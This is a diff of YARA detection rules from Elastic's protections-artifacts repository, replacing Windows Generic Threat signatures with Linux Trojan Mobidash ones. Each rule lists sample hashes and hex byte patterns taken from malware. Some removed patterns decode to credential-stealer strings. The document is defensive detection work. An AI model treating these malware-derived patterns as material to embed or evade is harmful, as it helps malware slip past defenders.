+rule ELASTIC_Linux_Trojan_Mobidash_D0Ad9C82 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Trojan Mobidash (Linux.Trojan.Mobidash)"
 		author = "Elastic Security"
-		id = "fdbcd3f2-17e6-49d4-997b-91e6a85e4226"
-		date = "2024-01-17"
-		modified = "2024-02-08"
+		id = "d0ad9c82-718f-43d1-a764-9be83893f9b8"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1320-L1338"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9258e4fe077be21ad7ae348868f1ac6226f6e9d404c664025006ab4b64222369"
-		logic_hash = "ca9136ca44a61795cca44ac9bb0494fdc34c08d6578603ba3be3582956f4a98f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mobidash.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6694640e7df5308a969ef40f86393a65febe51639069cb7eaa5650f62c1f4083"
+		logic_hash = "8351cb61f5b712c65962e734a7c29271fa4805720e14b6badc9bc1c0364778f8"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2a69deed3fe05b64cb37881ce50cae8972e7a610fd32c4b7f9155409bc5b297c"
-		severity = 50
+		fingerprint = "ef6b2f9383c137eb4adfe0a6322a0e5d71cb4a5712f1be26fe687144933cbbc8"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 83 C4 FC 60 8B 75 0C 8D A4 24 00 00 00 00 8D A4 24 00 00 00 00 90 56 E8 22 00 00 00 0B C0 75 05 89 45 FC EB 11 89 35 84 42 40 00 46 8B 5D 08 38 18 75 E3 89 45 FC 61 8B 45 FC C9 C2 08 }
+		$a = { 41 54 49 89 CC 55 48 89 D5 53 48 89 FB 48 8D 64 24 F8 48 8B 07 FF 90 F8 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_B7852Ccf : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Mobidash_E2C89606 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Trojan Mobidash (Linux.Trojan.Mobidash)"
 		author = "Elastic Security"
-		id = "b7852ccf-ba11-44e2-95b9-eb92d6976e15"
-		date = "2024-01-17"
-		modified = "2024-02-08"
+		id = "e2c89606-511c-403a-a4eb-d18dc7aca444"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1340-L1360"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5ac70fa959be4ee37c0c56f0dd04061a5fed78fcbde21b8449fc93e44a8c133a"
-		logic_hash = "4d5c29cceaacfda0c41bcd13cf95e90397b1b6c0c6beeb19b9184f435c8669b9"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mobidash.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6694640e7df5308a969ef40f86393a65febe51639069cb7eaa5650f62c1f4083"
+		logic_hash = "64cb8d8ec04a53f663b216208279afba3c10f148fe99822f9a45100a4f73ed28"
 		score = 75
-		quality = 69
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f33ef7996bcb0422227b9481d85b3663fb0f13f1be01837b42ac0c5f0bcff781"
-		severity = 50
+		fingerprint = "91c51f6af18389f2efb0032e0b775df68f34b66795c05623dccb67266c04214b"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 45 2B 34 2C 3D 43 4A 32 3A 24 40 2F 22 3E 3F 3C 24 44 }
-		$a2 = { 67 6F 72 67 65 6F 75 73 68 6F 72 6E 79 }
-		$a3 = { 62 6C 61 63 6B 20 68 61 69 72 75 6E 73 68 61 76 65 64 }
+		$a = { 13 49 89 C7 4C 89 E6 48 89 DF FF 92 B8 00 00 00 31 C9 4C 89 FA 4C }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_C3C8F21A : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Mobidash_82B4E3F3 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Trojan Mobidash (Linux.Trojan.Mobidash)"
 		author = "Elastic Security"
-		id = "c3c8f21a-4722-4b6f-85e1-023d45487aeb"
-		date = "2024-01-17"
-		modified = "2024-02-08"
+		id = "82b4e3f3-a9ba-477c-8eef-6010767be52f"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1362-L1380"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9a102873dd37d08f53dcf6b5dad2555598a954d18fb3090bbf842655c5fded35"
-		logic_hash = "b4d2b28fb2c9d46884b0b34f7821151b88891a8d881885c704e0e192cf7fca70"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mobidash.yar#L61-L78"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "8c91f85bc807605a3233d28a5eb8b6e1cf847fb288cbc4427e86226eed7a2055"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "5bae56d41d4582aed0a6fd54eab53ce6d47f0d70711cc17e77f8e85019d2ac7e"
-		severity = 50
+		fingerprint = "a01f5ba8b3e8e82ff46cb748fd90a103009318a25f8532fb014722c96f0392db"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 55 89 E5 83 EC 14 53 56 57 8D 7D F7 BE 1E CA 40 00 B9 02 00 00 00 F3 A5 A4 68 62 CA 40 00 68 64 CA 40 00 E8 A8 25 00 00 83 C4 08 89 C3 8D 45 EC 50 E8 CA 24 00 00 59 8D 45 EC 50 E8 80 26 00 00 }
+		$a = { 89 C6 74 2E 89 44 24 0C 8B 44 24 24 C7 44 24 08 01 00 00 00 89 7C }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_A3D51E0C : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Mobidash_601352Dc : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Trojan Mobidash (Linux.Trojan.Mobidash)"
 		author = "Elastic Security"
-		id = "a3d51e0c-9d49-48e5-abdb-ceeb10780cfa"
-		date = "2024-01-17"
-		modified = "2024-02-08"
+		id = "601352dc-13b6-4c3f-a013-c54a50e46820"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1382-L1400"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "18bd25df1025cd04b0642e507b0170bc1a2afba71b2dc4bd5e83cc487860db0d"
-		logic_hash = "f128f6a037abb4af2c11605b182852146780be6451b3062a2914bedb5c286843"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mobidash.yar#L80-L98"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5714e130075f4780e025fb3810f58a63e618659ac34d12abe211a1b6f2f80269"
+		logic_hash = "adeeea73b711fc867b88775c06a14011380118ed85691660ba771381e51160e3"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "069a218c752b5aac5b26b19b36b641b3dd31f09d7fcaae735efb52082a3495cc"
-		severity = 50
+		fingerprint = "acfca9259360641018d2bf9ba454fd5b65224361933557e007ab5cfb12186cd7"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 55 8B EC 53 56 8B 75 08 33 DB 39 5D 14 57 75 10 3B F3 75 10 39 5D 0C 75 12 33 C0 5F 5E 5B 5D C3 3B F3 74 07 8B 7D 0C 3B FB 77 1B E8 05 F8 FF FF 6A 16 5E 89 30 53 53 53 53 53 E8 97 F7 FF FF 83 }
+		$a = { F6 74 14 48 8B BC 24 D0 00 00 00 48 8B 07 48 8B 80 B8 00 00 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_54Ccad4D : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Mobidash_Ddca1181 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Trojan Mobidash (Linux.Trojan.Mobidash)"
 		author = "Elastic Security"
-		id = "54ccad4d-3b8d-4abb-88eb-d428d661169d"
-		date = "2024-01-17"
-		modified = "2024-02-08"
+		id = "ddca1181-91ca-4e5d-953f-be85838d3cb9"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1402-L1422"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "fe4aad002722d2173dd661b7b34cdb0e3d4d8cd600e4165975c48bf1b135763f"
-		logic_hash = "b9fb525be22dd2f235c3ac68688ced5298da45194ad032423689f5a085df6e31"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mobidash.yar#L100-L117"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "076d4ac69f6bc29975b22e19d429c25ef357443ec8fcaf5165e0a8069112af74"
 		score = 75
-		quality = 69
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4fe13c4ca3569912978a0c2231ec53a715a314e1158e09bc0c61f18151cfffa3"
-		severity = 50
+		fingerprint = "c8374ff2a85f90f153bcd2451109a65d3757eb7cef21abef69f7c6a4f214b051"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 4D 55 73 65 72 4E 61 74 69 66 65 72 63 }
-		$a2 = { 4D 79 52 65 67 53 61 76 65 52 65 63 6F 72 64 }
-		$a3 = { 53 74 65 61 6C 65 72 54 69 6D 65 4F 75 74 }
+		$a = { 84 C0 75 1E 8B 44 24 2C 89 7C 24 04 89 34 24 89 44 24 0C 8B 44 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_6Ee18020 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Mobidash_65E666C0 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Trojan Mobidash (Linux.Trojan.Mobidash)"
 		author = "Elastic Security"
-		id = "6ee18020-71e2-4003-99ef-963663e94740"
-		date = "2024-01-17"
-		modified = "2024-02-08"
+		id = "65e666c0-4eb7-4411-8743-053b6c0ec1d6"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1424-L1442"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d58d8f5a7efcb02adac92362d8c608e6d056824641283497b2e1c1f0e2d19b0a"
-		logic_hash = "8a08973ae2ddde275e007686fc6eca831c1fb398b7221d5022da10f90da0e44d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mobidash.yar#L119-L137"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "19f9b5382d3e8e604be321aefd47cb72c2337a170403613b853307c266d065dd"
+		logic_hash = "2d2bec8f89986b19bf1c806b6654405ac6523f49aeafd759b7631d9587d780c8"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "b8b18dcec6556bc7fb9b9f257a6485bcd6dfde96fc5c7e8145664de55d0c6803"
-		severity = 50
+		fingerprint = "92b7de293a7e368d0e92a6e2061e9277e7b285851322357808a04f8c203b20d0"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 55 8B EC 53 8B 5D 0C 8B 45 08 50 E8 9C 19 02 00 59 89 03 89 53 04 83 7B 04 00 75 07 83 3B 00 76 10 EB 02 7E 0C C6 43 28 01 33 C0 5B 5D C3 5B 5D C3 B8 01 00 00 00 5B 5D C3 90 90 90 55 8B EC 53 }
+		$a = { 4C 8B 44 24 08 48 89 DF 48 8B 14 24 48 8D 64 24 18 5B 4C 89 E6 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_8Eb547Db : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Mobidash_494D5B0F : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Trojan Mobidash (Linux.Trojan.Mobidash)"
 		author = "Elastic Security"
-		id = "8eb547db-81e4-4c64-9bab-b7944af32345"
-		date = "2024-01-17"
-		modified = "2024-02-08"
+		id = "494d5b0f-09c7-4fcb-90e9-1efc57c45082"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1444-L1462"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3fc821b63dfa653b86b11201073997fa4dc273124d050c2a7c267ac789d8a447"
-		logic_hash = "73cabad0656c6b347def017b07138fdbdd5b41da5ccf7d701fea764669058f39"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mobidash.yar#L139-L157"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "7e08df5279f4d22f1f27553946b0dadd60bb8242d522a8dceb45ab7636433c2f"
+		logic_hash = "6ddb94f9f44fe749a442592d491343a99bd870ea2d79596631d857516425e72b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2de0d43a4c1c4b3ecef7272d3f224bd5203c130365ff49a02a9200b3f53fe6ba"
-		severity = 50
+		fingerprint = "e3316257592dc9654a5e63cf33c862ea1298af7a893e9175e1a15c7aaa595f6a"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 28 00 00 0A 20 B8 0B 00 00 20 10 27 00 00 6F 29 00 00 0A 28 1F 00 00 0A 7E 0D 00 00 04 2D 0A 28 23 00 00 06 28 19 00 00 06 7E 14 00 00 04 6F 2A 00 00 0A 26 17 2D C8 2A 13 30 01 00 41 00 00 00 }
+		$a = { 00 18 00 00 00 40 04 00 00 01 5B 00 00 00 3A 00 00 00 54 04 00 00 05 A1 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_803Feff4 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Mobidash_Bb4F7F39 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Trojan Mobidash (Linux.Trojan.Mobidash)"
 		author = "Elastic Security"
-		id = "803feff4-e4c2-4d8c-b736-47bb10fd5ce8"
-		date = "2024-01-17"
-		modified = "2024-02-08"
+		id = "bb4f7f39-1f1c-4a2d-a480-3e1d2b6967b7"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1464-L1482"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8f150dfb13e4a2ff36231f873e4c0677b5db4aa235d8f0aeb41e02f7e31c1e05"
-		logic_hash = "e22b8b208ff104e2843d897c425467f2f0ec0c586c4db578da90aeaef0209e1d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mobidash.yar#L159-L177"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6694640e7df5308a969ef40f86393a65febe51639069cb7eaa5650f62c1f4083"
+		logic_hash = "33e8fcbb29cc38b4a8365845eb3a1488e13be964f7383b28a158a98fb259acb4"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3bbb00aa18086ac804f6ddf99a50821744a420f46b6361841b8bcd2872e597f1"
-		severity = 50
+		fingerprint = "b7e96ff17a19ffcbfc87cdba3f86216271ff01c460ff7564f6af6b40c21a530b"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 6F 01 00 06 6F 25 00 00 0A 02 7B 03 00 00 04 73 8D 01 00 06 6F 25 00 00 0A 02 7B 03 00 00 04 73 92 01 00 06 6F 25 00 00 0A 02 7B 03 00 00 04 73 9A 01 00 06 6F 25 00 00 0A 02 7B 03 00 00 04 73 }
+		$a = { 75 1F 48 8D 64 24 08 48 89 DF 5B 48 89 EA 4C 89 E1 4C 89 EE 5D }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_9C7D2333 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Mobidash_8679E1Cb : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Trojan Mobidash (Linux.Trojan.Mobidash)"
 		author = "Elastic Security"
-		id = "9c7d2333-f2c4-4d90-95ce-d817da5cb2a3"
-		date = "2024-01-17"
-		modified = "2024-02-08"
+		id = "8679e1cb-407e-4554-8ef5-ece5110735c6"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1484-L1502"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "85219f1402c88ab1e69aa99fe4bed75b2ad1918f4e95c448cdc6a4b9d2f9a5d4"
-		logic_hash = "561290ebf3ca2a01914f514d63121be930e7a8c06cfc90ff4b8f0c7cef3408fe"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mobidash.yar#L179-L196"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "6055ac4800397f6582e60cdf15fa74584986e1e7cf49a541b0ec746445834819"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3f003cc34b797887b5bbfeb729441d7fdb537d4516f13b215e1f6eceb5a8afaf"
-		severity = 50
+		fingerprint = "7e517bf9e036410acf696c85bd39c720234b64aab8c5b329920a64f910c72c92"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 55 8B EC 81 EC 64 09 00 00 57 C6 85 00 F8 FF FF 00 B9 FF 00 00 00 33 C0 8D BD 01 F8 FF FF F3 AB 66 AB AA C6 85 00 FC FF FF 00 B9 FF 00 00 00 33 C0 8D BD 01 FC FF FF F3 AB 66 AB AA C7 85 AC F6 }
+		$a = { 24 1C 89 F0 5B 5E 5F 5D C3 8D 76 00 8B 44 24 34 83 C6 01 8D 7C }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_747B58Af : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Mobidash_29B86E6A : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Trojan Mobidash (Linux.Trojan.Mobidash)"
 		author = "Elastic Security"
-		id = "747b58af-6edb-42f2-8a1b-e462399ef61e"
-		date = "2024-01-17"
-		modified = "2024-02-08"
+		id = "29b86e6a-fcad-49ac-ae78-ce28987f7363"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1504-L1524"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ee28e93412c59d63155fd79bc99979a5664c48dcb3c77e121d17fa985fcb0ebe"
-		logic_hash = "fd6b36ca50c1017035474b491f716bfb0d53b181fce4b5478a57a1d1a6ddc3e7"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mobidash.yar#L198-L215"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "dd5f44249cc4c91f39a0e7d0b236ebeed8f78d5fcb03c7ebc80ef1c738b18336"
 		score = 75
-		quality = 69
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "79faab4fda6609b2c95d24de92a3a417d2f5e58f3f83c856fa9f32e80bed6f37"
-		severity = 50
+		fingerprint = "5d7d930f39e435fc22921571fe96db912eed79ec630d4ed60da6f007073b7362"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 5C 43 3D 5D 78 48 73 66 40 22 33 2D 34 }
-		$a2 = { 79 5A 4E 51 61 4A 21 43 43 56 31 37 74 6B }
-		$a3 = { 66 72 7A 64 48 49 2D 4E 3A 4D 23 43 }
+		$a = { 2E 10 73 2E 10 02 47 2E 10 56 2E 10 5C 2E 10 4E 2E 10 49 2E 10 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_C3C4E847 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Mobidash_E3086563 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Trojan Mobidash (Linux.Trojan.Mobidash)"
 		author = "Elastic Security"
-		id = "c3c4e847-ef6f-430d-9778-d48326fb4eb0"
-		date = "2024-01-17"
-		modified = "2024-02-08"
+		id = "e3086563-346d-43f1-89eb-42693dc17195"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1526-L1544"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "86b37f0b2d9d7a810b5739776b4104f1ded3a1228c4ec2d104d26d8eb26aa7ba"
-		logic_hash = "fa147abf7aa872f409e7684c4c60485fc58f57543062573526e56ff9866f8dfe"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mobidash.yar#L217-L235"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6694640e7df5308a969ef40f86393a65febe51639069cb7eaa5650f62c1f4083"
+		logic_hash = "5545f7ce8fa45dc56bc4bb5140ce1db527997dfaa1dd2bbb1e4a12af45300065"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "017a8ec014fed493018cff128b973bb648dbb9a0d1bede313d237651d3f6531a"
-		severity = 50
+		fingerprint = "8fc223f3850994479a70358da66fb31b610e00c9cbc3a94fd7323780383d738e"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 2E 3F 41 56 3F 24 5F 52 65 66 5F 63 6F 75 6E 74 40 55 41 70 69 44 61 74 61 40 40 40 73 74 64 40 40 }
+		$a = { 24 48 8B 4C 24 08 49 8B 55 00 48 39 D1 75 16 48 8D 64 24 10 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_6542Ebda : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Mobidash_2F114992 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Trojan Mobidash (Linux.Trojan.Mobidash)"
 		author = "Elastic Security"
-		id = "6542ebda-c91e-449e-88c4-244fba69a4b2"
-		date = "2024-01-17"
-		modified = "2024-02-08"
+		id = "2f114992-36a7-430c-8bd9-5661814d95a8"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1546-L1564"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2073e51c7db7040c6046e36585873a0addc2bcddeb6e944b46f96c607dd83595"
-		logic_hash = "30263341bf51a001503dfda9be5771d401bc5b5423682c29a6d4ebc457415d3e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mobidash.yar#L237-L255"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6694640e7df5308a969ef40f86393a65febe51639069cb7eaa5650f62c1f4083"
+		logic_hash = "f93fe72e08c8ec135cccc8cdab2ecedbb694e9ad39f2572d060864bb3290e25c"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a4ceaf0bf2e8dc3efbc6e41e608816385f40c04984659b0ec15f109b7a6bf20a"
-		severity = 50
+		fingerprint = "2371fc5ba1e279a77496328d3a39342408609f04f1a8947e84e734d28d874416"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 55 8B EC 53 56 57 8B F9 85 D2 74 18 0F B7 02 8D 5A 02 0F B7 72 02 8B 4A 04 3B C7 74 0E 83 C2 08 03 D1 75 E8 33 C0 5F 5E 5B 5D C3 B8 78 03 00 00 66 3B F0 74 EF 8B 45 08 89 18 8D 41 06 EB E7 8D }
